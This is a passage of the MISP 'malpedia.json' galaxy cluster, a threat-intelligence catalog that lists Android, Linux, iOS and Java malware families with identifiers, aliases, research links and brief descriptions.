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misp-galaxy/clusters/malpedia.json
Steffen Enders 125f676d17
Updated malpedia.json to the current state 
Fetched the new malpedia galaxy cluster from https://malpedia.caad.fkie.fraunhofer.de/api/get/misp - this includes an additional ~120 new families.
2018-10-10 17:31:27 +02:00

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{
"description": "Malware galaxy cluster based on Malpedia.",
"type": "malpedia",
"authors": [
"Daniel Plohmann",
"Steffen Enders",
"Andrea Garavaglia",
"Davide Arcuri"
],
"values": [
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine",
"https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/"
]
},
"uuid": "824f284b-b38b-4a57-9e4a-aee4061a5b2d",
"value": "AdultSwine",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat",
"https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html",
"https://github.com/DesignativeDave/androrat"
]
},
"uuid": "80447111-8085-40a4-a052-420926091ac6",
"value": "AndroRAT",
"description": "Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy",
"http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/",
"https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf"
]
},
"uuid": "06ffb614-33ca-4b04-bf3b-623e68754184",
"value": "AnubisSpy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut",
"https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/",
"https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/"
]
},
"uuid": "4038c3bc-b559-45bb-bac1-9665a54dedf9",
"value": "Bahamut",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.bankbot",
"http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html",
"http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html",
"http://blog.koodous.com/2017/05/bankbot-on-google-play.html",
"https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/",
"https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/"
]
},
"uuid": "85975621-5126-40cb-8083-55cbfa75121b",
"value": "BankBot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites",
"https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang",
"https://www.youtube.com/watch?v=1LOy0ZyjEOk"
]
},
"uuid": "2c672b27-bc65-48ba-ba3d-6318473e78b6",
"value": "Catelites",
"description": "Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim.\r\nThe distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered.\r\nCurrently the malware has overlays for over 2,200 apps of banks and financial institutions."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger",
"http://blog.checkpoint.com/2017/01/24/charger-malware/",
"http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html"
]
},
"uuid": "6e0545df-8df6-4990-971c-e96c4c60d561",
"value": "Charger",
"description": ""
},
{
"meta": {
"synonyms": [
"Pegasus",
"JigglyPuff"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor",
"https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html",
"https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf",
"https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html",
"https://media.ccc.de/v/33c3-7901-pegasus_internals",
"https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/"
]
},
"uuid": "52acea22-7d88-433c-99e6-8fef1657e3ad",
"value": "Chrysaor",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor",
"https://twitter.com/LukasStefanko/status/1042297855602503681"
]
},
"uuid": "c0a48ca3-682d-45bc-805c-e62aecd4c724",
"value": "Clientor",
"description": ""
},
{
"meta": {
"synonyms": [
"SpyBanker"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic",
"https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/"
]
},
"uuid": "93b1c63a-4a34-44fd-805b-0a3470ff7e6a",
"value": "Connic",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer",
"https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/"
]
},
"uuid": "8a42a699-1746-498b-a558-e7113bb916c0",
"value": "Cpuminer",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker",
"https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/"
]
},
"uuid": "10d0115a-00b4-414e-972b-8320a2bb873c",
"value": "DoubleLocker",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy",
"http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/"
]
},
"uuid": "8269e779-db23-4c94-aafb-36ee94879417",
"value": "DualToy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap",
"https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/"
]
},
"uuid": "e5de818e-d25d-47a8-ab31-55fc992bf91b",
"value": "Dvmap",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot",
"https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/"
]
},
"uuid": "c9f2b058-6c22-462a-a20a-fca933a597dd",
"value": "ExoBot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy",
"https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/"
]
},
"uuid": "4305d59a-0d07-4021-a902-e7996378898b",
"value": "FlexiSpy",
"description": ""
},
{
"meta": {
"synonyms": [
"gugi"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet",
"https://twitter.com/LukasStefanko/status/886849558143279104"
]
},
"uuid": "80d7d229-b3a7-4205-8304-f7b18bda129f",
"value": "FlexNet",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl",
"https://blog.trendmicro.com/trendlabs-security-intelligence/android-backdoor-ghostctrl-can-silently-record-your-audio-video-and-more/"
]
},
"uuid": "3b6c1771-6d20-4177-8be0-12116e254bf5",
"value": "GhostCtrl",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove",
"https://www.clearskysec.com/glancelove/",
"https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773",
"https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/",
"https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/",
"https://www.ci-project.org/blog/2017/3/4/arid-viper"
]
},
"uuid": "24a709ef-c2e4-45ca-90b6-dfa184472f49",
"value": "GlanceLove",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat",
"https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/"
]
},
"uuid": "537f17ac-74e5-440b-8659-d4fdb4af41a6",
"value": "HeroRAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat",
"https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/"
]
},
"uuid": "3e7c6e8c-46fc-4498-a28d-5b3d144c51cf",
"value": "IRRat",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat",
"https://blog.lookout.com/mobile-threat-jaderat"
]
},
"uuid": "8804e02c-a139-4c3d-8901-03302ca1faa0",
"value": "JadeRAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid",
"https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html",
"https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/"
]
},
"uuid": "1e1924b5-89cb-408b-bcee-d6aaef7b24e0",
"value": "KevDroid",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler",
"https://twitter.com/LukasStefanko/status/928262059875213312"
]
},
"uuid": "4ff34778-de4b-4f48-9184-4975c8ccc3f3",
"value": "Koler",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus",
"https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/"
]
},
"uuid": "0caf0292-b01a-4439-b56f-c75b71900bc0",
"value": "Lazarus",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus_elf",
"https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990"
]
},
"uuid": "fe6134aa-6588-4619-8447-57a44eb8b24c",
"value": "Lazarus ELF Backdoor",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki",
"http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/"
]
},
"uuid": "a6f481fe-b6db-4507-bb3c-28f10d800e2f",
"value": "Loki",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot",
"https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html"
]
},
"uuid": "4793a29b-1191-4750-810e-9301a6576fc4",
"value": "LokiBot",
"description": "Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot."
},
{
"meta": {
"synonyms": [
"ExoBot"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher",
"https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware",
"https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware",
"https://www.clientsidedetection.com/marcher.html",
"https://www.clientsidedetection.com/exobot_v2_update___staying_ahead_of_the_competition.html"
]
},
"uuid": "f691663a-b360-4c0d-a4ee-e9203139c38e",
"value": "Marcher",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot",
"https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/",
"https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html"
]
},
"uuid": "38cbdc29-a5af-46ae-ab82-baf3f6999826",
"value": "MazarBot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.mysterybot",
"https://www.threatfabric.com/blogs/mysterybot__a_new_android_banking_trojan_ready_for_android_7_and_8.html"
]
},
"uuid": "0a53ace4-98ae-442f-be64-b8e373948bde",
"value": "MysteryBot",
"description": "MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat",
"https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/",
"https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co"
]
},
"uuid": "ec936d58-6607-4e33-aa97-0e587bbbdda5",
"value": "OmniRAT",
"description": ""
},
{
"meta": {
"synonyms": [
"Popr-d30"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30",
"http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/",
"http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/"
]
},
"uuid": "0a7d9d22-a26d-4a2b-ab9b-b296176c3ecf",
"value": "X-Agent",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub"
]
},
"uuid": "3272a8d8-8323-4e98-b6ce-cb40789a3616",
"value": "Fake Pornhub",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir",
"https://twitter.com/PhysicalDrive0/statuses/798825019316916224"
]
},
"uuid": "f5cabe73-b5d6-4503-8350-30a6d54c32ef",
"value": "Raxir",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2",
"https://clientsidedetection.com/new_android_trojan_targeting_over_60_banks_and_social_apps.html",
"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores"
]
},
"uuid": "e9aaab46-abb1-4390-b37b-d0457d05b28f",
"value": "RedAlert2",
"description": "RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server.\r\nThe malware also has the ability to block incoming calls from banks, to prevent the victim of being notified.\r\nAs a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe",
"http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/",
"http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html",
"http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html",
"http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html",
"https://www.govcert.admin.ch/blog/33/the-retefe-saga",
"http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html"
]
},
"uuid": "22ef1e56-7778-41d1-9b2b-737aa5bf9777",
"value": "Retefe",
"description": "The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim's phone doesn't get infected."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis",
"https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/",
"https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/"
]
},
"uuid": "31d2ce1f-44bf-4738-a41d-ddb43466cd82",
"value": "Roaming Mantis",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik",
"https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer",
"https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java"
]
},
"uuid": "db3dcfd1-79d2-4c91-898f-5f2463d7c417",
"value": "Rootnik",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree",
"https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/",
"https://cdn.securelist.com/files/2018/01/Skygofree_appendix_eng.pdf"
]
},
"uuid": "f5fded3c-8f45-471a-a372-d8be101e1b22",
"value": "Skygofree",
"description": ""
},
{
"meta": {
"synonyms": [
"SlemBunk"
],
"type": [],
"refs": [
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"https://twitter.com/ankit_anubhav/status/1019647993547550720",
"https://twitter.com/360Netlab/status/1019759516789821441",
"https://twitter.com/hrbrmstr/status/1019922651203227653",
"https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863",
"https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html",
"https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/"
]
},
"uuid": "ec67f206-6464-48cf-a012-3cdfc1278488",
"value": "Owari",
"description": "Mirai variant by actor \"Anarchy\" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla",
"https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf",
"https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf",
"https://twitter.com/juanandres_gs/status/944741575837528064"
]
},
"uuid": "262e0cf2-2fed-4d37-8d7a-0fd62c712840",
"value": "Penquin Turla",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai",
"http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/"
]
},
"uuid": "2ee05352-3d4a-448b-825d-9d6c10792bf7",
"value": "Persirai",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.r2r2",
"https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/"
]
},
"uuid": "759f8590-a049-4c14-be8a-e6605e2cd43d",
"value": "r2r2",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos",
"http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/"
]
},
"uuid": "4592384c-48a7-4e16-b492-7add50a7d2f5",
"value": "Rakos",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex",
"https://thisissecurity.net/2016/10/28/octopus-rex-evolution-of-a-multi-task-botnet/",
"https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/"
]
},
"uuid": "49639ff5-e0be-4b6a-850b-d5d8dd37e62b",
"value": "Rex",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
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"https://www.arbornetworks.com/blog/asert/the-arc-of-satori/",
"https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/",
"https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/"
]
},
"uuid": "9e5d83a8-1181-43fe-a77f-28c8c75ffbd0",
"value": "Satori",
"description": "Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361)."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind",
"http://blog.trendmicro.com/trendlabs-security-intelligence/linux-users-urged-update-new-threat-exploits-sambacry"
]
},
"uuid": "b51caf06-736e-46fc-9b13-48b0b81df4b7",
"value": "ShellBind",
"description": ""
},
{
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]
},
"uuid": "51da734c-70dd-4337-ab08-ab61457e0da5",
"value": "Shishiga",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
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]
},
"uuid": "7b9a9ea0-04d2-42ef-b72f-9d6476b9e0d0",
"value": "Spamtorte",
"description": ""
},
{
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]
},
"uuid": "275d65b9-0894-4c9b-a255-83daddb2589c",
"value": "SSHDoor",
"description": ""
},
{
"meta": {
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"https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
]
},
"uuid": "e8c131df-ee3b-41d4-992d-71d3090d2d98",
"value": "Stantinko",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii",
"https://blog.avast.com/new-torii-botnet-threat-research"
]
},
"uuid": "a874575e-0ad7-464d-abb6-8f4b7964aa92",
"value": "Torii",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot",
"http://paper.seebug.org/345/"
]
},
"uuid": "feb6a5f6-32f9-447d-af9c-08e499457883",
"value": "Trump Bot",
"description": ""
},
{
"meta": {
"synonyms": [
"Amnesia",
"Radiation"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami",
"https://www.8ackprotect.com/blog/big_brother_is_attacking_you",
"http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
"http://get.cyberx-labs.com/radiation-report"
]
},
"uuid": "21540126-d0bb-42ce-9b93-341fedb94cac",
"value": "Tsunami",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat"
]
},
"uuid": "1b62a421-c0db-4425-bcb2-a4925d5d33e0",
"value": "Turla RAT",
"description": ""
},
{
"meta": {
"synonyms": [
"Espeon"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon",
"http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/",
"http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html"
]
},
"uuid": "637000f7-4363-44e0-b795-9cfb7a3dc460",
"value": "Umbreon",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter",
"https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1",
"https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html",
"https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities",
"https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected",
"https://blog.talosintelligence.com/2018/05/VPNFilter.html",
"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en",
"https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware"
]
},
"uuid": "5ad30da2-2645-4893-acd9-3f8e0fbb5500",
"value": "elf.vpnfilter",
"description": ""
},
{
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]
},
"uuid": "b0046a6e-3b8b-45ad-a357-dabc46aba7de",
"value": "elf.wellmess",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet",
"http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html",
"https://news.drweb.com/show/?i=2679&lng=en&c=14"
]
},
"uuid": "47a8fedb-fd60-493a-9b7d-082bdb85621e",
"value": "Wirenet",
"description": ""
},
{
"meta": {
"synonyms": [
"splm",
"chopstick",
"fysbis"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent",
"https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf",
"http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
]
},
"uuid": "0a7d9d22-a26d-4a2b-ab9b-b296176c3ecf",
"value": "X-Agent",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc",
"https://twitter.com/michalmalik/status/846368624147353601"
]
},
"uuid": "32b95dc7-03a6-45ab-a991-466208dd92d2",
"value": "Xaynnalc",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos",
"https://en.wikipedia.org/wiki/Xor_DDoS",
"https://www.cdnetworks.com/resources/whitepapers/sg/Whitepaper23.pdf",
"https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html"
]
},
"uuid": "7f9df618-4bd1-44a1-ad88-e5930373aac4",
"value": "XOR DDoS",
"description": "Linux DDoS C&C Malware"
},
{
"meta": {
"synonyms": [
"darlloz"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard",
"https://blogs.cisco.com/security/the-internet-of-everything-including-malware"
]
},
"uuid": "9218630d-0425-4b18-802c-447a9322990d",
"value": "Zollard",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy",
"http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/"
]
},
"uuid": "8269e779-db23-4c94-aafb-36ee94879417",
"value": "DualToy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject",
"https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
]
},
"uuid": "d9215579-eee0-4e50-9157-dba7c3214769",
"value": "GuiInject",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker",
"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
]
},
"uuid": "bc32df24-8e80-44bc-80b0-6a4d55661aa5",
"value": "WireLurker",
"description": "The iOS malware that is installed over USB by osx.wirelurker"
},
{
"meta": {
"synonyms": [
"AlienSpy",
"JSocket",
"Frutas",
"UNRECOM",
"JBifrost",
"Sockrat"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind",
"https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat",
"http://malware-traffic-analysis.net/2017/07/04/index.html",
"https://codemetrix.net/decrypting-adwind-jrat-jbifrost-trojan/",
"https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885",
"https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html"
]
},
"uuid": "8eb9d4aa-257a-45eb-8c65-95c18500171c",
"value": "AdWind",
"description": "Part of Malware-as-service platform\r\nUsed as a generic name for Java-based RAT\r\nFunctionality\r\n- collect general system and user information \r\n- terminate process\r\n-log keystroke\r\n-take screenshot and access webcam\r\n- steal cache password from local or web forms\r\n- download and execute Malware\r\n- modify registry\r\n- download components\r\n- Denial of Service attacks\r\n- Acquire VPN certificates\r\n\r\nInitial infection vector\r\n1. Email to JAR files attached\r\n2. Malspam URL to downlaod the malware\r\n\r\nPersistence\r\n- Runkey - HKCU\\Software\\Microsoft\\Windows\\current version\\run\r\n\r\nHiding\r\nUses attrib.exe \r\n\r\nNotes on Adwind\r\nThe malware is not known to be proxy aware"
},
{
"meta": {
"synonyms": [
"Trupto"
],
"type": [],
"refs": [
